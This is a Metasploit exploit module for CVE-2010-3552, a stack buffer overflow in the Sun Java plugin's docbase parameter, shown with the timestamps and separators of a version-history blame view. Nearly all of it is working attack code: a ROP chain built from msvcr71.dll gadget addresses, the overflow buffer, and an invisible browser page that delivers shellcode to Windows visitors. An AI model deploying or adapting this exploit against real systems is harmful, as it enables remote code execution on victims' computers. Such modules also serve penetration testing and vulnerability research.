2010-10-25 20:21:41 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-10-25 20:21:41 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = GreatRanking
|
|
|
|
|
|
|
|
#
|
|
|
|
# This module acts as an HTTP server
|
|
|
|
#
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Sun Java Runtime New Plugin docbase Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a flaw in the new plugin component of the Sun Java
|
|
|
|
Runtime Environment before v6 Update 22. By specifying specific parameters
|
|
|
|
to the new plugin, an attacker can cause a stack-based buffer overflow and
|
|
|
|
execute arbitrary code.
|
|
|
|
|
|
|
|
When the new plugin is invoked with a "launchjnlp" parameter, it will
|
|
|
|
copy the contents of the "docbase" parameter to a stack-buffer using the
|
|
|
|
"sprintf" function. A string of 396 bytes is enough to overflow the 256
|
|
|
|
byte stack buffer and overwrite some local variables as well as the saved
|
|
|
|
return address.
|
|
|
|
|
|
|
|
NOTE: The string being copied is first passed through the "WideCharToMultiByte".
|
|
|
|
Due to this, only characters which have a valid localized multibyte
|
|
|
|
representation are allowed. Invalid characters will be replaced with
|
|
|
|
question marks ('?').
|
|
|
|
|
|
|
|
This vulnerability was originally discovered independently by both Stephen
|
|
|
|
Fewer and Berend Jan Wever (SkyLined). Although exhaustive testing hasn't
|
|
|
|
been done, all versions since version 6 Update 10 are believed to be affected
|
|
|
|
by this vulnerability.
|
|
|
|
|
|
|
|
This vulnerability was patched as part of the October 2010 Oracle Patch
|
|
|
|
release.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => 'jduck',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2010-3552' ],
|
2010-10-26 15:28:04 +00:00
|
|
|
[ 'OSVDB', '68873' ],
|
2010-10-25 20:21:41 +00:00
|
|
|
[ 'BID', '44023' ],
|
|
|
|
[ 'URL', 'http://blog.harmonysecurity.com/2010/10/oracle-java-ie-browser-plugin-stack.html' ],
|
|
|
|
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-206/' ],
|
|
|
|
[ 'URL', 'http://code.google.com/p/skylined/issues/detail?id=23' ],
|
|
|
|
[ 'URL', 'http://skypher.com/index.php/2010/10/13/issue-2-oracle-java-object-launchjnlp-docbase/' ],
|
|
|
|
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2010-176258.html' ],
|
|
|
|
],
|
|
|
|
'Platform' => 'win',
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
2011-01-08 00:25:44 +00:00
|
|
|
'InitialAutoRunScript' => 'migrate -f',
|
2010-10-25 20:21:41 +00:00
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
# The double quote is due to the html, the rest due to utf8 conversion crap.
|
|
|
|
'BadChars' => "\x00\x22" + (0x80..0x9f).to_a.pack('C*'),
|
|
|
|
'DisableNops' => true,
|
|
|
|
#'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
|
|
|
'EncoderOptions' =>
|
|
|
|
{
|
|
|
|
'BufferRegister' => 'EAX',
|
|
|
|
}
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# Tested OK on:
|
|
|
|
# JRE 6u21 on XPSP3 and Win7-RTM
|
|
|
|
# JRE 6u18 on XPSP3 (ugly dialog on IE8)
|
2010-10-25 20:22:08 +00:00
|
|
|
# JRE 6u11 on XPSP3 (ugly dialog on IE8)
|
2010-10-25 20:21:41 +00:00
|
|
|
[ 'Windows Universal (msvcr71.dll ROP)', { } ],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Oct 12 2010'
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
2012-04-20 19:31:42 +00:00
|
|
|
print_status("Sending exploit HTML")
|
2010-10-25 20:21:41 +00:00
|
|
|
|
|
|
|
# ActiveX params
|
|
|
|
clsid = 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA'
|
|
|
|
var_obj = rand_text_alpha(8+rand(8))
|
|
|
|
|
|
|
|
|
|
|
|
# These addresses are from the bundled msvcr71.dll from JRE 6u21
|
|
|
|
=begin
|
|
|
|
7c340000 7c396000 MSVCR71 (export symbols) C:\Program Files\Java\jre6\bin\MSVCR71.dll
|
|
|
|
Loaded symbol image file: C:\Program Files\Java\jre6\bin\MSVCR71.dll
|
|
|
|
Image path: C:\Program Files\Java\jre6\bin\MSVCR71.dll
|
|
|
|
Image name: MSVCR71.dll
|
|
|
|
Timestamp: Fri Feb 21 07:42:20 2003 (3E561EAC)
|
|
|
|
CheckSum: 0005F1E9
|
|
|
|
ImageSize: 00056000
|
|
|
|
File version: 7.10.3052.4
|
|
|
|
Product version: 7.10.3052.4
|
|
|
|
=end
|
|
|
|
|
|
|
|
base = 0x7c340000
|
|
|
|
rva = {
|
|
|
|
'scratch' => 0x4b170, # Scratch space..
|
|
|
|
'scratch2' => 0x4b170 - 0x10, # Scratch space..
|
|
|
|
'import_VA' => 0x3a08c - 0x58, # The import address of HeapCreate (less 0x58, avoid badchars)
|
|
|
|
'add_58_eax' => 0xd05e, # add eax, 0x58 / ret
|
|
|
|
'pop_eax' => 0x4cc1, # pop eax / ret
|
|
|
|
'deref_eax' => 0x130ea, # mov eax, [eax] / ret
|
|
|
|
'deref_eax4' => 0xe72b, # mov eax, [eax+4] / ret
|
|
|
|
'jmp_eax' => 0x13ac, # push eax / ret
|
|
|
|
'jmp_ecx' => 0x6b0e, # jmp ecx
|
|
|
|
'pop_edx' => 0x5937, # pop edx / ret
|
|
|
|
'adjust_eax' => 0x32ef8, # add eax, 0x80bf / add dh, dh / ret
|
|
|
|
'rep_movsd' => 0x363f, # rep movsd / pop edi / pop esi / sub eax, eax / ret
|
|
|
|
'esp_to_esi' => 0x32f4f, # push esp / and al, 0x10 / mov [edx], ecx / pop esi / ret
|
|
|
|
'switcheroo' => 0x3427, # mov ecx, eax / mov eax, esi / pop esi / ret 0x10
|
|
|
|
'st_eax_ecx' => 0x103c8, # mov [ecx], eax / ret
|
|
|
|
'xor_ecx' => 0x1aa5f, # xor ecx, ecx / mov [eax+0xc], ecx / ret 4
|
|
|
|
'set_ecx_fd' => 0x1690b, # mov cl, 0xfe / dec ecx / ret
|
|
|
|
}
|
|
|
|
|
|
|
|
extra_insn = 'nop'
|
|
|
|
#extra_insn = 'int 3'
|
|
|
|
single_op = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<-EOS).encode_string
|
|
|
|
#{extra_insn}
|
|
|
|
push ecx
|
|
|
|
pop edi
|
|
|
|
ret
|
|
|
|
EOS
|
|
|
|
|
|
|
|
# This is the ROP stack.
|
|
|
|
stack = [
|
|
|
|
# Load HeapCreate addr from IAT
|
|
|
|
'pop_eax',
|
|
|
|
0x41414141, # unused space..
|
|
|
|
0x41414141,
|
|
|
|
0x41414141,
|
|
|
|
0x41414141,
|
|
|
|
'import_VA', # becomes eax
|
|
|
|
'add_58_eax',
|
|
|
|
'deref_eax',
|
|
|
|
|
|
|
|
# call HeapCreate
|
|
|
|
'jmp_eax',
|
|
|
|
'adjust_eax', # eip after HeapCreate
|
|
|
|
0x01040110, # flOptions (gets & with 0x40005)
|
|
|
|
0x01010101, # dwInitialSize
|
|
|
|
0x01010101, # dwMaximumSize
|
|
|
|
|
|
|
|
# Move esp into esi
|
|
|
|
'pop_edx',
|
|
|
|
'scratch', # becomes edx
|
|
|
|
'esp_to_esi',
|
|
|
|
|
|
|
|
# Store a single-dword stub to our buffer
|
|
|
|
'switcheroo',
|
|
|
|
single_op.unpack('V').first, # becomes esi/eax
|
|
|
|
'deref_eax4',
|
|
|
|
0x41414141, # more unused space..
|
|
|
|
0x41414141,
|
|
|
|
0x41414141,
|
|
|
|
0x41414141,
|
|
|
|
'st_eax_ecx',
|
2011-11-28 04:42:59 +00:00
|
|
|
|
2010-10-25 20:21:41 +00:00
|
|
|
# Call our dword-stub
|
|
|
|
'jmp_ecx',
|
|
|
|
|
|
|
|
# Re-load ESP and save our Heap address to scratch (edx)
|
|
|
|
'esp_to_esi',
|
|
|
|
|
|
|
|
# Set ecx to something sane (for memcpy)
|
|
|
|
'pop_eax',
|
|
|
|
'scratch2',
|
|
|
|
'xor_ecx',
|
|
|
|
'set_ecx_fd',
|
|
|
|
0x41414141, # skipped by ret 0x4
|
|
|
|
|
|
|
|
# Do the memcpy!
|
|
|
|
'rep_movsd',
|
|
|
|
0x41414141, # becomes edi
|
|
|
|
0x41414141, # becomes esi
|
|
|
|
|
|
|
|
# Re-load our Heap pointer
|
|
|
|
'pop_eax',
|
|
|
|
'scratch',
|
|
|
|
'deref_eax',
|
|
|
|
|
|
|
|
# Adjust it to skip the non-payload parts
|
|
|
|
'add_58_eax',
|
2011-11-28 04:42:59 +00:00
|
|
|
|
2010-10-25 20:21:41 +00:00
|
|
|
# Execute it !
|
|
|
|
'jmp_eax',
|
|
|
|
|
|
|
|
# BOOO!
|
|
|
|
0x41414141
|
|
|
|
]
|
|
|
|
|
|
|
|
# Replace unused entries with randomness
|
|
|
|
stack = stack.map { |el|
|
|
|
|
if el.kind_of? String
|
|
|
|
base + rva[el]
|
|
|
|
elsif el == 0x41414141
|
|
|
|
rand_text(4).unpack('V').first
|
|
|
|
else
|
|
|
|
el
|
|
|
|
end
|
|
|
|
}.pack('V*')
|
|
|
|
|
|
|
|
|
|
|
|
# Create the overflow buffer
|
|
|
|
docbase = rand_text(392)
|
|
|
|
docbase << stack
|
|
|
|
docbase << rand_text(584 - docbase.length)
|
|
|
|
docbase << payload.encoded
|
|
|
|
|
|
|
|
# Generate the html page that will trigger the vuln.
|
|
|
|
html = <<-EOS
|
|
|
|
<html>
|
|
|
|
<body>Please wait...
|
|
|
|
<object id="#{var_obj}" classid="clsid:#{clsid}" width="0" height="0">
|
|
|
|
<PARAM name="launchjnlp" value="1">
|
|
|
|
<PARAM name="docbase" value="#{docbase}">
|
|
|
|
</object>
|
|
|
|
<embed type="application/x-java-applet" width="0" height="0" launchjnlp="1" docbase="#{docbase}" />
|
|
|
|
</body>
|
|
|
|
</html>
|
|
|
|
EOS
|
|
|
|
|
|
|
|
# Pow.
|
|
|
|
send_response_html(cli, html,
|
|
|
|
{
|
|
|
|
'Content-Type' => 'text/html',
|
|
|
|
'Pragma' => 'no-cache'
|
|
|
|
})
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|